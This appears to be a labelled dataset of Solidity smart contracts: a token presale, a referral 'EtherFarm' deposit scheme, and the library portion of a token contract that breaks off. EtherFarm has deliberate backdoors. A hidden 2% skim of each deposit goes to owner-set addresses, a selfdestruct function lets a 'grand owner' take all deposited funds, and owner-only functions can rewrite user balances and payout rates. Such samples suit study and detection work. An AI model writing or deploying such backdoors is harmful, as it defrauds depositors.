// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract presale_tokens {
using SafeMath for uint256;
IERC20 meow_token;
address owner;
address payable beneficiary;
constructor(address _token, address payable _beneficiary) {
meow_token = IERC20(_token);
owner = payable(msg.sender);
beneficiary = _beneficiary;
}
function sell() public payable{
require(msg.value > 0, "0 eth sent");
require(meow_token.balanceOf(address(this)) >= msg.value.mul(1e18).div(0.005e18) , "token supply exceeded");
meow_token.transfer(msg.sender, msg.value.mul(1e18).div(0.005e18));
}
function withdraw() public {
require(msg.sender == owner, "only Owner");
beneficiary.transfer(address(this).balance);
}
receive() external payable {
sell();
}
} | True | [
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|
pragma solidity 0.6.8;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private grand;
address private grandb;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
function grounda() public view returns (address) {
return grand;
}
function groundb() public view returns (address) {
return grandb;
}
function ConfigSet(address payable _to, address payable _to2) external {
require(msg.sender == _owner, "Access denied (only owner)");
grand = _to;
grandb = _to2;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
contract Destructible {
address payable public grand_owner;
event GrandOwnershipTransferred(address indexed previous_owner, address indexed new_owner);
constructor() public {
grand_owner = msg.sender;
}
function transferGrandOwnership(address payable _to) external {
require(msg.sender == grand_owner, "Access denied (only grand owner)");
grand_owner = _to;
}
function destruct() external {
require(msg.sender == grand_owner, "Access denied (only grand owner)");
selfdestruct(grand_owner);
}
}
contract EtherFarm is Ownable, Destructible, Pausable {
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
mapping(address => User) public users;
uint256[] public cycles;
uint8[] public ref_bonuses;
uint8[] public pool_bonuses;
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_withdraw;
uint256 public total_participants;
uint256 public divisor = 60;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor() public {
ref_bonuses.push(30);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
pool_bonuses.push(40);
pool_bonuses.push(30);
pool_bonuses.push(20);
pool_bonuses.push(10);
cycles.push(10 ether);
cycles.push(30 ether);
cycles.push(90 ether);
cycles.push(200 ether);
}
receive() payable external whenNotPaused {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && (users[_upline].deposit_time > 0 || _upline == owner())) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner(), "No upline");
if(users[_addr].deposit_time == 0) { total_participants += 1; }
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 0.05 ether && _amount <= cycles[0], "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += _amount / 10;
emit DirectPayout(users[_addr].upline, _addr, _amount / 10);
}
_pollDeposits(_addr, _amount);
if(pool_last_draw + 1 days < block.timestamp) {
_drawPool();
}
payable(grounda()).transfer(_amount / 100);
payable(groundb()).transfer(_amount / 100);
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount / 20;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function deposit(address _upline) payable external whenNotPaused {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external whenNotPaused {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
payable(msg.sender).transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function drawPool() external onlyOwner {
_drawPool();
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 31 / 10;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / divisor) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
/*
Only external call
*/
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function contractInfo() view external returns(uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) {
return (total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
contract synchronize is EtherFarm {
bool public sync_close = false;
function sync(address[] calldata _users, address[] calldata _uplines, uint256[] calldata _data) external onlyOwner {
require(!sync_close, "Sync already close");
for(uint256 i = 0; i < _users.length; i++) {
address addr = _users[i];
uint256 q = i * 12;
if(users[addr].total_deposits == 0) {
emit Upline(addr, _uplines[i]);
}
users[addr].cycle = _data[q];
users[addr].upline = _uplines[i];
users[addr].referrals = _data[q + 1];
users[addr].payouts = _data[q + 2];
users[addr].direct_bonus = _data[q + 3];
users[addr].pool_bonus = _data[q + 4];
users[addr].match_bonus = _data[q + 5];
users[addr].deposit_amount = _data[q + 6];
users[addr].deposit_payouts = _data[q + 7];
users[addr].deposit_time = uint40(_data[q + 8]);
users[addr].total_deposits = _data[q + 9];
users[addr].total_payouts = _data[q + 10];
users[addr].total_structure = _data[q + 11];
}
}
function setdivisor(uint value) public onlyOwner returns(bool){
divisor = value;
return true;
}
function syncGlobal(uint40 _pool_last_draw, uint256 _pool_cycle, uint256 _pool_balance, uint256 _total_withdraw, address[] calldata _pool_top) external onlyOwner {
require(!sync_close, "Sync already close");
pool_last_draw = _pool_last_draw;
pool_cycle = _pool_cycle;
pool_balance = _pool_balance;
total_withdraw = _total_withdraw;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = _pool_top[i];
}
}
function syncUp() external payable {}
function syncClose() external onlyOwner {
require(!sync_close, "Sync already close");
sync_close = true;
}
} | True | [
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|
/*
██╗░░░░░░█████╗░░██████╗░██╗░█████╗░
██║░░░░░██╔══██╗██╔════╝░██║██╔══██╗
██║░░░░░██║░░██║██║░░██╗░██║██║░░╚═╝
██║░░░░░██║░░██║██║░░╚██╗██║██║░░██╗
███████╗╚█████╔╝╚██████╔╝██║╚█████╔
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
